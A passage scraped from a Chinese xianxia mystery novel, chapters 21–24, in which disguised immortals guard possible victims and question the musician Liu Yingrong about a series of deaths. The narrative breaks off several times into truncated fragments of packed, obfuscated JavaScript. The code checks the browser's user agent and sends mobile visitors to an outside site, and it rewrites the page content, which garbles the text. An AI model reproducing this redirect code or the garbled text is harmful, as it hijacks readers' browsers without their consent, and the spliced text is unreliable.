0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14014933|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这三十六人里,也有五人是参加过柳滢容的私宴的。” “你那本记录了赴宴者的册子上,有这些人参与私宴的具体时间吗?”青晏问道。 得到了肯定的回答,青晏一手拿着莫文才的行踪,一手拿着颜故那本赴宴者名单的文册对照起来。 很快她便放下了这两份名单,有些疲惫地揉了揉眉心:“无论幕后黑手是不是莫文才,在这件事里,柳滢容不可能是无辜的了。” “啊?为什么?”明煦惊讶道。 “吕应,和这个徐乔,是在已经挨过莫文才的打之后才去参加柳滢容私宴的,”青晏指了指那本赴宴者名册,“如果你是柳滢容,会允许冒犯过你的人来到你办的宴席上吗?” “那自然是……不太可能……”明煦的目光有些呆滞,“除非我觉得……宴席上更好下手……” “但,并不是所有赴宴者都死了呀,”唐禾纠结道,“不是三十个人里只有七个吗?我不是说觉得死了七个人不多,而是若这私宴是场鸿门宴,那应该这三十人全都死了才对,或者至少也要像被莫文才教训过的人那样,约有小半都已死亡吧?” 颜故微微偏过头:“为什么没可能是还没杀到他们呢?” 此话一出,整个房间里顿时骤寒,好似有一阵阴风直贴着众人头顶刮过,又缓缓地顺着骨缝一点点渗了进去。 明煦直了好一会儿眼睛,干巴巴道:“这,不会这么凶残吧,其他那二十几个人也没惹到她不是?应该不至于都要杀了吧。” “不管是凡人还是其他族类,都有天性残忍热爱杀戮之辈。我自然希望真实情况并非如此,但既然我们在查这件事,便一定要先做好最坏的打算。”颜故的面色透着几分担忧,“现如今,恐怕要多多留意方才被请出去的那位富态商人了。” “不如,我们去守着他试试?”唐禾提议,“还有之前那些冒犯过柳滢容,但目前活着的,也挑上几个守着看看。” “目前看来,确实是他的处境更加危险,”青晏的目光在颜故和唐禾间流连了一会儿,随后对唐禾道:“你愿意去守着商人那边吗?” 唐禾突然被委以重任,赶紧高兴道:“愿意的!再给我分几个也行,我可以分出神念去看着他们!” “此处风险最大,若是分散了注意力怕会有纰漏。你只守着他一个就好,其余的我们来。”青晏嘱咐道,“另外,还是那句话,真遇上危险不必逞强,以你掌心法诀唤我就好。” 明煦补道:“对,活着回来永远都不丢人。” 唐禾极为认真地“哎”了一声,眼睛亮闪闪的。 青晏先将赴宴者和被莫文才教训过的人理了理,挑出其中目前还活着的人来,接着对明煦和颜故道:“颜故选三个,明煦选十个,其余人我来看顾。” 颜故收回瞥向唐禾的目光,伸手接过名单来看,然而只看了片刻他的眉头就皱了起来,对青晏道:“这名册里足有四十几人,仙子如何……?” 青晏自然道:“我本就是主修的幻术,无妨。” “小颜呐,你真不用担心,天界那么多幻境她一个人都管得过来,分几十个神念出来还不是小事一桩?”明煦打了个响指,“放轻松。” 颜故低头笑笑。 明煦将名单从头看到尾,精挑细选了几个最近几个月才挨过打的,而颜故则是从参宴者名单中选了三名年龄各异者,老中青各一位。 随后,他们几个便分头行动,奔着各自要守的人而去。 21.共鸣 青晏耸耸肩:“没想到居然有朝一日能遇见同样爱看探案话本的人。” 她在颜故骤然变得惊喜的目光中轻快道:“你说的这几本我都看过,《玉笛寻凶》也是澈樾新带给我的,下界之前刚刚看完。关于文笔你说的没错,这方面它是要比《夜行录》好些,但故事却有些落入俗套,不如《夜行录》了。” 颜故频频点头:“若说故事惊心动魄,《夜行录》堪称一绝;但若论言辞缜密,行文紧凑,自当是……” “《梨花秘史》更胜一筹。”二人几乎同时补道。 他们惊讶地看了彼此一眼,不禁又同时笑了开来。 颜故那有着好看弧度的眼尾长长地翘着,眼睛也被笑意浸染得更为明亮:“看来此书的优秀确实有目共睹。” 青晏摆摆手,话匣子不知不觉间打得更开了:“非也非也,现在风评确实如此,但当年此书面世的时候评价多是行文晦涩难以读懂,想来是因为当时所流行的文风多以简单直叙,惊险刺激为主,相比之下《梨花秘史》在这方面确实有所欠缺。但若能静下心读进去,这故事也是娓娓道来,扣人心弦的。” “没想到今日得见同道中人,属实难得,就连总在人界游玩的澈樾都懒得给我带这样的话本,说是不好找,只是被我逼得没办法。”青晏眉眼弯弯,“你是从何时开始爱看此类话本的?” “自小便开始了。刚被师父收入门下不久,他见我经常从细微处发现别人所不能发现之事,觉得我可能擅于此道,便特意去买了几本相关的话本给我。”颜故有些不好意思地笑笑,“但师父却没想到从此我便一发不可收拾,总要去寻新的来看,险些误了修行。不过澈樾神君所言非虚,市面上此类探案话本确实一直不多,属实难找。所以今日一见《玉笛寻凶》此等新作,便忍不住拿起翻阅一番。” 青晏颔首:“此书确实不错,正好目前无事,只是需要原地守着而已,是个消磨时间的好办法。” “仙子放心,”颜故笑得乖巧,“我绝不会耽搁正事。另外两缕神念已经就位,目前我这边三人均一切安好。” 青晏莞尔:“我没有说你不务正业的意思,你做事我很放心。” 她眼神微动,又道:“刚才之所以让唐禾去守着那富态商人,也是觉得此事对他来说可能更是个锻炼的机会,想着待日后有更为艰巨的考验时再交给你。” 颜故神色忽地顿了一下:“仙子之意我明白,”他的眼中漾起笑意,“但其实……这件事本不需和我解释的,多谢仙子好意。” “你既归在我座下,我自要以诚相待。”青晏倒是不以为意,“不过既然是你本人在这边看顾,想来你是觉得,这个书斋掌柜是你这三个人里最有可能遇害的?” “这倒不是。”颜故摇摇头,目光坦然真诚,“是因为唐禾要守的那个富态商人就住在两条街外,若真有什么危险,我从这里过去很方便。” 青晏没料到会是这样的回答。她面色一怔,心中顿时生出些柔软来:“你思虑得很周全,很……好。” 颜故望着她,眸中现出潋潋神采:“仙子平时所思所虑已经够多了。唐禾年纪尚小,大家既有缘共同游历,我自是要把他当幼弟般时时照看,也好让仙子少些负担。” 青晏笑笑:“说起来也奇怪,明明你也没有比唐禾年长多少,却竟如此稳重,想来是桑疏湖仙教导得好。日后若是顺路,你便回辰落湖看一看师父吧。” 颜故低头笑了笑:“我师父的名号不过是在初见之时提过一句罢了,仙子记忆果然绝佳。不知仙子可曾见过我师父?” 青晏摇头:“并未有缘见过。不过如果不会叨扰到你师父的话,待有机会时,我们几个可以一同前去,辰落湖一定是个好地方。” “辰落湖确实风景绝佳,只是过于偏远,我师父又是一介散仙,几乎不与太垣有什么往来,所以仙子之前未曾见过也实属正常。只是……”颜故垂眸,“我师父仙缘太浅,未能历过最后一道仙劫,现在要想见他,已是不能了。” 青晏沉默片刻,轻声道:“对不起,我竟不知……” “仙子不必挂怀,”颜故反而劝慰起青晏来,“彼时我也曾心中郁结,修行也随之停滞不前,但如今我想开了,仙劫本就不是能安然度过的,否则也不会被称为劫数。” 他望向很远的地方,眸光从容平和:“渡劫失败后魂灵回归天地间,重新化作世间万物。所以无论是高山流水,还是花鸟草木,皆有可能是我师父的化身。只要我努力修行,能以己身庇佑苍生,便不坠我师父之志,也是在报答他的教养之恩了。” 青晏心下一阵触动。 教养之恩…… 看来对于颜故而言,桑疏不仅仅是他的恩师,更是他的亲人。 自己虽没见过这位湖仙,然而颜故自年少时便拜入其门下,想来其如今仙术身法之灵动、待人接物之妥善应大多都是由桑疏言传身教而来。 如此看来,桑疏定是一位性情和善,贤良方正之人,理应飞升成仙的,只是命运无常未能如愿,委实令人嗟叹。 至于颜故,纵然他现在表现得再平静,恩师初逝时的锥心巨痛也定然深入骨髓,绵绵不绝。常人猝不及防被翻出这样的伤痛来自会不由伤怀一番,然而颜故却能在这样的心境下宽慰起别人来,足见其心性十足温柔敦厚。 念及此,青晏轻轻点了点头:“你既成了仙,便已是没有辜负你师父的用心教导,此番下界历练亦是为了更好地守护苍生。你师父见你如此,定会欣慰的。” 她的语气里破天荒地带着一丝连她自己都没察觉到的温柔。 颜故凝视着她的双眼:“仙子可也欣慰么?” “当然,”青晏坦然道,“曾经我便和你说过,天界有你此等良材实在令人舒心。” 颜故移开眼去:“仙子真是时时为天界着想。” “身为神仙,自然要为天界着想,”青晏冲颜故抬抬下巴,“你且接着看书吧,我先去找王夫人了。” 颜故拱手道:“日后若遇到好书,再找仙子探讨。” “没问题。”青晏答得干脆,转身便朝着西街的方向去了。 颜故走回书斋,重新拿起那本《玉笛寻凶》读了起来。然而过了半天,故事却依旧停在青晏来时的那一页。 店内伙计见那处书架旁已许久没有发出任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14024179|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音,还以为刚才那位客人已经走了,便过去想重新把书摆一摆,没想到刚一靠近便瞥见一个宛如雕塑般的身影笔直地矗立在那,可给那伙计吓了一跳。 见有人出现,颜故这才回过神来。 他在伙计讶异的眼神里扬了扬手中的《玉笛寻凶》,微笑道:“真是本好书。” -------------- 青晏几人兵分几路,将所有还活着的赴宴者、被莫文才教训过的人以及莫文才本人都守得严严实实,全神戒备着可能前来的幕后黑手。然而足足两天过去,竟没有任何一个人出现意外——甚至连破了点皮这种小事都没有。 而目前最大的怀疑对象莫文才,这两天均在仙音阁勤勤恳恳地接待各路客人,夜晚也规规矩矩地在仙音阁睡下,毫无任何异常举动。 到了柳滢容举办私宴的这天,明煦在客舍里长吁短叹,深觉此事枯燥乏味至极,还不如来个什么大妖怪和她痛痛快快地打上一架。 她两只手都举在空中,正色道:“先说好,我可不是希望他们被弄死啊,我只是觉得这帮人把日子过得实在稀碎,我还被迫连着看了两天,烦都烦死了。” 青晏侧目:“怎么?” “哎呀你这人,怎么还明知故问起来了,你那边情况应该也差不多吧?”明煦噘嘴,“这帮人,成天嘴上挂着的不是这家小娘子就是那家小美人儿,满脑子没点别的东西,左一家红阁右一家粉院去得勤快着,看得我眼睛耳朵都生疼。” “我这边并不都是挨过打的,所以本人在哪待着倒还有的选,不至于一直备受摧残。”青晏托腮,“我在王夫人那看她连续打了两天的马吊牌,她手气还不错。” 明煦幽幽地望向颜故和唐禾:“你们俩呢?” 颜故轻咳一声:“我这也有一位家中姬妾甚多的,但这两天没见他去风月场所,平时就不知道了。至于其他人,日子过得都还算正常。” 唐禾也道:“我这边那位富态商人被家里夫人发现了去仙音阁招惹柳滢容的事,把他一顿好骂,提着行李带着一双儿女回千里之外的娘家去了。这商人前两天还在嘴硬,今天早上已经开始叫人准备马车收拾包袱,看样子是要去追了。” 明煦干嚎一声:“合着就我一个人倒霉!” 青晏拍拍她的肩:“感谢你的付出。” 明煦哀怨地叹了口气,很快又皱起眉头来:“今晚就要去赴柳滢容的宴了,我们是不是得先商量出来个什么办法,比如选一个人在宴席上冒犯一下柳滢容?” 青晏道:“此法可行,但要选谁去冒犯她呢?” “我来吧。”颜故自荐道,“你们两个当日备受柳滢容青睐,私宴上突然转性会有些可疑。唐禾精神也已经紧绷了两天,这次便换我吧。” “好,到时说什么便由你自己做主。”青晏唇边噙着笑意,“别让人立刻掀桌就好。” “力求事后再杀我泄愤。”颜故笑盈盈地。 明煦搓了搓胳膊:“虽说道理是这么个道理,但是你这话怎么听着这么瘆得慌。” 唐禾突然憨憨地笑了一声。 明煦摸不着头脑:“这是怎么了?” 22.对峙 “没什么,”唐禾咧开嘴,“也不知道来杀我们的人打算何时动手。要是在宴席上就动手呢,四个幻灵瞬间消散,说不准能给他吓一大跳。但要是打算等追到咱们客舍再下手,也不知道等到一推门进来发现屋里坐着四个神仙的时候,那人会不会瘆得慌。” 明煦想象了一下那个画面,大笑。 ---------- 离酉时还差一刻时,莫文才已在门口守候。远远望见青晏几人的身影,莫文才回头对一个小厮说了些什么,随即提了口气,面上顿时现出一个热情的笑容来。 明煦这几天被那几个色鬼烦得火大,是以通过幻灵之眼见到痛殴过这些人的莫文才时,心中竟不觉对他生出几分亲切来,于是让自己的幻灵与前来迎接他们的莫文才颇为用力地握了握手。 莫文才笑意微凝,但最终还是没有说些什么,仍是和气道:“柳乐师已在二楼雅室等候几位公子了。本阁准备了一些时令饭菜,若不合口味可随时告知,我们再换新菜来。” “有劳莫先生。”青晏回道。 莫文才礼貌地笑笑,将青晏几人向二楼雅室引去。 片刻后,他推开一扇雕花门:“到了。” 雅室内茶香四溢,一身清雅装扮的柳滢容坐在窗前小几前,有些纳罕地看着门外脸上笼罩了一层阴云的莫文才。 莫文才看着她,嘴唇动了又动,最终却只是沉默着作了一揖,便急匆匆地离去。 柳滢容放下手中的茶盏,起身轻笑一声:“能把莫先生惹生气,几位公子本事了得。” 侍女为她撩起隔间的珠帘。柳滢容对明煦指了指主位那张乌木椅:“你们究竟聊了什么,能让他这样不高兴?” 明煦看了一眼青晏,依着柳滢容的示意坐下了。颜故也含笑入座:“柳乐师看见莫先生不高兴,倒是蛮开心的?” “自然,”柳滢容漫不经心地挑挑眉,“他不高兴很正常,但能被看出来不高兴,倒是件新鲜事。” “而我喜欢新鲜事,也喜欢给我带来新鲜事的人。”她对明煦嫣然一笑,“所以愿意请明公子和朋友前来赴宴。” 纵然知道面前这人清绝的皮囊下极有可能有副蛇蝎心肠,明煦还是觉得这笑好看极了。她眨巴着眼睛,听柳滢容轻声问道:“几位公子今日可又有什么新鲜事说与我听么?” 颜故笑笑:“倒是有个现成的。刚与莫先生讲过的新鲜事,柳乐师可感兴趣?” 柳滢容往椅子上一靠,歪头等着他接下来的话。 侍女们轻手利脚地将饭菜端了进来,颜故在碗碟轻击紫檀桌面的声音中开口道:“我们刚才在猜,不知柳乐师的私宴究竟有何魔力,为何如今三十名赴宴者中,竟有七人已经身亡呢?” 颜故身边的侍女闻言手一抖,衣裙顿时被洒出的汤晕出一片斑驳污痕。 柳滢容的面色却没有丝毫变化,只是轻轻瞥了那侍女一眼:“不妨事,去把湿衣服换了吧,顺便把我的琵琶拿过来,等下贵客们还要赏乐呢。” 她转头看向颜故,面上竟浮现出了一丝笑意:“哦?竟有这样的事情。那几个人是怎么死的?” “多为意外身亡。” “意外?”柳滢容不以为意地抬睫,“看来这些有钱人家的公子们,运气倒是不大好。” 颜故目光落定在她身上:“也有人说,这些人是因为见过了柳乐师才导致运势有所受损,进而影响了命数。” 柳滢容点点头:“你们方才与莫先生说的,就是这些?” “不错。” “原来如此,怪不得莫先生那么生气。”她支手托着下巴,“看来我居然是个扫把星,不适合露面见人,这下再不能为乐楼赚大钱了。” “姑娘就不生气?” “这有什么好生气的,”柳滢容笑意更盛了三分,“死的又不是我。” “不过,既然听到了这样的传闻,几位公子为什么还敢来呢?”柳滢容的手在面前琳琅满目的名贵菜肴上方轻轻拂过,“不怕见到我后运势不佳,被饭菜噎死么?” “我们几人的运势目前尚且不错,所以敢前来赴宴,”颜故话锋一转,“不过坊间还有传闻,说姑娘并非会给人带来厄运的扫把星,而是专门吸取人寿命气运的妖邪。” 柳滢容想了想:“说的也有道理。不如这样吧,”她的唇角扬起一个好看的弧度,“麻烦公子找个道士前来除妖,道行越高越好,这份钱我来出,怎么样?” 言毕,她不等颜故回答便饶有兴致地望向身旁目光呆滞的明煦,笑意盈盈道:“明公子带来的朋友,果然和明公子一样有趣。” 明煦已经被他们俩的对话震麻了,只得干巴巴笑了两声,对颜故道:“不能这样讲话,对柳乐师要尊重,尊重!” 颜故微微欠身,不再作声。 席间弥漫着令人窒息的沉默。 唐禾硬着头皮开口:“我相信柳乐师不是妖……” “哎,这可不能随便相信,”柳滢容轻飘飘道,“你这样轻信,很容易第一个被吃掉的。” 唐禾的眼珠子不由自主地往青晏那边瞟,见她面容平静无波,只好装作没听见柳滢容的话般继续道:“但诸多参加过柳乐师私宴的人都意外身亡乃是事实,所以我们猜测此事极有可能是您身边之人所为。不知这几月来柳乐师身边可曾出现过什么奇怪的人?” “奇怪的人?”柳滢容作沉思状,“一直有啊。” 她的视线扫过眼睛倏地一亮的唐禾,停留在了泰然自若的颜故身上:“今日还有奇怪的人问我是不是妖怪呢。” “那你是吗?”颜故淡然道。 “这种事我自己说了可不算。”柳滢容懒懒地掀了掀眼皮,“都说了要请道士。” “这位大人,”她突然看了一眼自进门便没再吭声的青晏,“有什么事不如等吃过饭再说吧,别辜负了眼前这一桌时令珍品,凉了味道就不对了。” “当然,”她执起筷子,似笑非笑道,“若是怕有人在饭菜里下毒,或是妨着自个运势了,大人们也可先到旁厅等候,我用过了便来。” 青晏慢悠悠地给自己盛了碗汤:“这倒是不怕。” 柳滢容对着青晏几人微微举杯:“我实在不爱酒味,所以今日为几位公子准备的乃是上好的银针春尖,”她略一移眼,不知怎的忽然高兴起来,唇边荡漾起浅浅的笑意,“正好不会饮酒误事,方便几位公子等会儿对我仔细审问。你瞧,这不又是一桩巧事?” 明煦和唐禾实在不知柳滢容到底是怎么说出这些话来的,只好低头猛猛夹菜。青晏也没有回答,只是吹了吹自己碗中冒着茵茵热气的汤,自在得仿佛浑然不觉屋子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14033259|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才有过什么声音一般。 只有颜故极为认同地对柳滢容点了点头:“确实巧极了。柳姑娘喜欢巧合吗?” 柳滢容言笑晏晏:“那就要看几位公子拍下我宴席这件事是不是巧合了。是巧合,我喜欢;不是巧合,我更喜欢。” 说罢她对颜故灿烂一笑,自顾自地吃起面前的清炒笋心来。 突然门页一声响动,方才被汤弄湿衣服的侍女如今已换了一身干爽衣裳,将柳滢容的琵琶放在她身边后又退了出去。在楼梯边等着她的侍女见她出来后神色有异,忙问:“怎么了?可是菜有什么不妥?” “应该是没有,”换了衣服的侍女慢慢地答,“就是不知道为什么今天房间里特别安静,他们都在老老实实地吃饭,一个说话的都没有。” 楼梯边的侍女转了转眼:“肯定是今天的菜做得特别好吃,顾不上别的吧。走,咱们去和莫掌柜知会一声,说不定他一高兴,还能给咱们点赏银。” 她们俩对视一笑,脚步带着几分雀跃地下了楼,整个二楼顿时和那间沉默着的雅室一样,重新陷入了寂静之中。 ------ 雅室内。 青晏几人坐在旁厅里,面前的时令瓜果尚带着晶莹水珠,身后不远处的香炉里燃着冬雪一般冷冽的香,连带着整个房间都跟着清冷了几分。 柳滢容半靠在铺了好几层软垫的椅子上,手指在琵琶上随意勾了两下,随后抬眼看向青晏:“这位大人,如今有什么问题,还请随便问吧。” 青晏看着她:“柳乐师为什么单单只让我发问,又为何突然不叫我们公子,改称大人呢?” “第一件事嘛,自然是因为这几个人里你说了算。”柳滢容那双宛如粼粼湖水的眼眸逐一扫过其余诸人,“你自己可能没注意到,但他们几个,可总是在看你的脸色呢。” “至于第二个问题,之前我见过的公子们可没问过我这么多有趣又新鲜的问题,”柳滢容慢条斯理道,“不如也让我来问一个问题吧。不知几位大人是任职于衙门、大理寺,还是刑部呢?” “都不是。” “既不是,为什么这么关心死人的问题?” “无非是关心自身安危罢了。” 柳滢容细细打量了青晏几眼,忽地开怀大笑起来。 待笑声渐止,她斜睨着他们几人,毫不掩饰地讥讽道:“我说几位大人,若要找这样的理由,多少也该演出些害怕的样子来。你们如今这副全神贯注,专心缉凶的模样,摆明了就是百无禁忌,只有安,没有危。” “几位大人官居高位武力高强,想必无论是这几个人纯粹倒霉,还是真的有人杀了他们,又或者是妖怪作祟,你们都能无所畏惧地匡扶正义。但我一个身若浮萍的小小乐师,遇见麻烦只会躲着走,能保全自身已是万幸,哪里还有力气关切别人的生死?” “你们从进门起便话里话外地暗示我与此事有所牵连,想来是把这件事当成了命案,也把我当成嫌犯了。就没想过这些人可能纯粹是祖上没积德自个儿倒的霉,又或者是开罪了些什么别的人,只不过他们都恰好来过我的宴席而已?几位大人手里究竟有些什么证据,为何如此笃定此事必然和我有关呢?” 柳滢容笑意凌然:“该不会是没找到什么其他的关联,只能挑我这个软柿子捏上一捏吧?” 23.软柿子 “柳乐师实在说笑了,你绝不是什么软柿子。”青晏平静道,“自然,齐王也不是。” 雅室内突然迸发出一道惊雷般的琵琶铮音。 柳滢容的手不自觉地将琵琶弦勾得更紧,身子也缓缓坐直起来,眼中再也没有半分之前那种游刃有余的调笑之意。 她死死地盯住青晏,声音极轻:“你说什么?” “柳乐师年纪轻轻,怎的突然耳力不好起来?”青晏不咸不淡道。 柳滢容垂眼半晌,再开口时语气便已平静了许多:“你们想要什么?” 她虽极力压制着自己的情绪,但略微急促起来的呼吸还是暴露了她内心的激荡。 青晏却没回答她这个问题。 她端详了一阵一直垂着头的柳滢容:“柳乐师怎么也不辩驳一下?” 柳滢容低笑一声:“大人既然能提到齐王,想必该知道的都已经知道了,又何必明知故问呢。”她终于再度抬起眼来,眸光幽怨,“大人此番领命前来,是要带我回京城吗?” 颜故打量了她一眼:“为何这么问?” “因为小女子见识浅薄,”柳滢容的手指无声地在琵琶弦上抚过,“委实想不出还有什么别的人能因为齐王来找我。” 明煦抿了抿嘴,实在是忍不住了。 她瞄了青晏一眼,在看见对方几不可查的点头动作后急不可耐地开口道:“咱们能不能好好说话,不要再打哑谜了?” 颜故微微挑眉,没再说话。 明煦迎着柳滢容带了三分惊讶的目光,满脸真诚地开口道:“柳乐师,不管你之前是什么身份,以后又会是什么身份,我们都不在乎,我们只在乎那些和你有关的意外死亡之人。” 她坐得离柳滢容更近了:“我们虽愿意相信这件事和你没有关系,但目前我们能找到的所有证据都和你有关。除了不少赴宴者纷纷死亡外,还有那些被莫文才教训过的人,都是因为曾对你不敬才挨了打的。” “我们理解他出手的原因是为了给你出气,但那些人的行径总归罪不至死,然而目前这些被教训过的人里已有小半都不在人世了。更何况这其中有一些人在冒犯过你之后依然能出席你的私宴,我想,这里面不可能没有你本人的意思吧?” 柳滢容定定地看着目光诚恳澄澈的明煦。 几息后她紧绷着的肩膀渐渐放松下来,像是终于卸下了什么重担般长长呼出一口气:“如明公子所愿,我愿将一切坦诚相告。” “但,”她试探地看向青晏,“几位大人能不能也对我开诚布公呢?” “你是想问我们的身份和来这的目的?”青晏问道。 柳滢容轻轻点了点头:“如果可以的话。” “我们是灵虚派修行的道士,此行乃是为了下山修行凡心,途经此地时不巧听闻此桩异事,恐有邪祟伤人,故多有关注。” 柳滢容勾了勾唇角:“原来你们就是道士,看来倒是不必从外面找道士来捉妖了。” “你不是妖。”青晏淡道。 柳滢容闻言突然低低笑了起来。 片刻后她方止住笑意:“对,我不是妖。” 接着她无奈地摇了摇头:“真是好奇妙的一天,没想到我竟然还有能说出这种话的时候。但你们既是道士,那天若我没有给明公子免去那八十万银两,你们又该怎么办呢?” 青晏的手稳稳伸向颜故,面不改色心不跳道:“我们这边有家中做皇商的道长。” 颜故极为坦然地点头。 柳滢容眨了眨眼,含笑道:“原是如此。” 她垂下眼帘,手指在琵琶弦上无声地缓缓滑动着:“既然几位道长都已经坦诚相告,那我便也实话实说了。你们所提之事我有所耳闻,我也觉得此事实在是太过巧合了些。但实不相瞒,我虽对莫先生所行之事有所了解,但无奈脑子里实在不愿意装着脏东西,所以委实不能一一记得都有哪些人冒犯过我,更别提特意拒绝他们来参加我的宴席。” “况且在遇见各位道长前,”柳滢容的视线扫过青晏和明煦,“这所谓的宴席不过是个噱头,顶顶无聊得很。若不是为了给原来的醉烟楼提升些名气,我根本连一次都懒得办。若来的都是像几位道长一样的新奇乐友,一周办上一场也无碍。” “但再多就不行了。”她语气十分坚决。 能做到一周一次已是非常勤勉了,青晏暗想。 柳滢容继续道:“我确实没有证据证明此事与我无关,但我觉得,这反倒能证明我的无辜。试想如果几位道长突然到访,我却能未卜先知般将自己摘的干干净净,如此准备周全,岂不更加可疑?” 青晏问道:“那在柳乐师看来,此事有可能是什么原因?” “我倒真的很好奇几位道长为什么会来找我问这些事情,”柳滢容眉间染了淡淡的疑惑,“从前家中设宴时,我曾有幸得见国师大人,从他那得知了不少奇妙法术。若遇上现在这种情况,将死者亡魂提过来一问便能知晓事情始末。既有如此法术,几位道长何苦还要自己苦苦追查呢?” 青晏心中暗叹,面色却依然不改:“我们法力不够高强,尚用不得此法。” 将亡魂喊来问话这种方式她不是没试过,但幽冥界那边的回复是如今太子殿下正在猛抓亡魂投胎效率,她所要提的那些亡魂大多已都喝了孟婆汤,如今什么都不记得了,唯独剩下一个赌钱被活活气死的、和一个喝酒喝死的药材商人家的小儿子宋泽,问她还要不要。 青晏自然是要的,结果足足盘问了一个时辰也没盘出个所以然来。 这两个魂一个大骂赌场掌柜黑心派人出老千,害得自己年纪轻轻就死了,留下的一双年幼儿女恐怕长大后都没法记得自己亲爹长什么模样,自己做鬼都不会放过他,然而干嚎了半天也是雷声大雨点小,全然不见一丝要化作厉鬼的模样;另外一个则是哀怨自己还是个婴儿的时候就被父亲拿着筷子往嘴里点酒喝,这才染上酒瘾,年纪轻轻就喝死了,如果有来世定要滴酒不沾云云。 青晏被他们吵得实在头疼,又见他俩嚷嚷了半天,连邻居家的狗都拿出来念叨了两句也没提是谁害死了他们,索性便叫冥使将他们送回去了。 柳滢容垂眸一笑:“是吗?那还真是可惜。若我们两年前在京城相遇,说不定我还能将几位道长引荐给国师,如今怕是不能了。不过分辨我这个凡人所言是否为真,几位道长总还做得到吧?” 她那双美丽清滢的眼睛定定地凝望着青晏,嫣唇轻启:“我没有杀这些人。” 她倒是没有说谎。 青晏这个念头刚起,从方才便一直沉默着的颜故却突然毫无征兆地开了口:“那你杀过人吗?” 他语气极为平淡,好似这个问题不过和“你今天吃过饭吗”一样寻常,但双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14037844|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼却紧紧锁着柳滢容,仿佛要将她面上哪怕一丝丝极为微小的变化都收入眼底。 柳滢容毫不畏惧地回看着他,坦然道:“没有。” 颜故盯着她:“这些人的死,和你有关吗?” “也没有。”柳滢容将手中的琵琶抱得更紧,“我理解几位道长心中所想,若异位而处,或许我也会觉得自己很可疑。我甚至还去问过莫先生此事是否与他有关,结果他也和我一样迷茫。” “但请几位道长想一想,那些人家中非富即贵,骑马、痛饮上等好酒、在高档赌坊豪赌这些事,哪里是寻常百姓轻易做得的?这些富家子弟为趋风流来参加我的宴席,又岂不是再正常不过?这些人出入场所定然多有重合,若细细论起来,怎会只有我这一个地方是他们都来过?只不过那些地方你们可能尚未听说而已。几位若还心存疑虑,不妨找上些探子,好好查一查这些人还都去过哪儿,说不定在那些地方能有新发现。” 唐禾立刻问道:“那有什么地方是你已经知道他们也都去过的呢?” 柳滢容怀中的琵琶琴头脂玉洁白,在她脸上映出温婉柔和的光:“想来各大奢华酒楼他们也都是去过的。不过在我看来,此事十有八九只是巧合。” 青晏蹙眉:“为何?” “因为不划算啊。”柳滢容轻叹,“想要一个人死,太容易了。给每个人安排一个不一样的死法有什么意义呢?手段并不重要,死亡才是目的。就算是为了不引火烧身,找个高明的杀手也就罢了,只要给了足够的钱,这种案子官府根本破不了。” “至于其他方面,”她歪头看向青晏几人,“妖邪这块我虽不是很懂,但想来道理总该是一样的。费这么大力气结果就只收获这么几条人命,应该也划不来吧。” 明煦犹豫了半天,最终还是问道:“那如果,是哪个妖怪喜欢你,想为你出气……” 柳滢容惊讶地看了她一眼,随即失笑:“为我出气的方式有很多种,全都杀了的话很容易被察觉,岂不是稍有不慎就会被你们道士捉去了?而且如果这样,也应该把所有冒犯过我的人都杀了才是,来没来过我的宴席,恐怕并不重要吧。” 青晏与其他几人交换了一下眼神。 观明煦和唐禾二人神色,似乎都觉得柳滢容的话有些道理,唯独颜故仍微微垂着头,仿佛在沉思着些什么。 似是感知到青晏问询的目光,颜故转头看向她,眉间弥漫着淡淡的疑虑。但他最终还是没说什么,只是轻轻摇了摇头。 柳滢容见状微微弯起唇角:“看来,我的嫌疑终于小了些?真是可喜可贺。” 青晏道:“方才对柳乐师多有得罪,还望见谅。” “倒也算不上得罪,几位道长乃是为了护佑天下平安,我心里明白,绝无半分怨怼。并且……”柳滢容面上忽然泛起一层极薄的粉色。 她轻轻咬了咬嘴唇,小声道:“如果没有你们的帮助,我可能发现不了自己最真实的心意。如此说来,我应当感谢你们才是。” 什么心意……? 明煦茫然地和唐禾对视了一眼,突然从对方陡然亮起的眼眸中领悟到了问题的答案。她连忙问道:“那你是要和齐王回京城去了?” 柳滢容惊讶地眨了眨眼,随即会心一笑:“道长果然好神通,竟连此事也能知晓。” 青晏看着她:“你怎么突然改主意了?” 24.真相 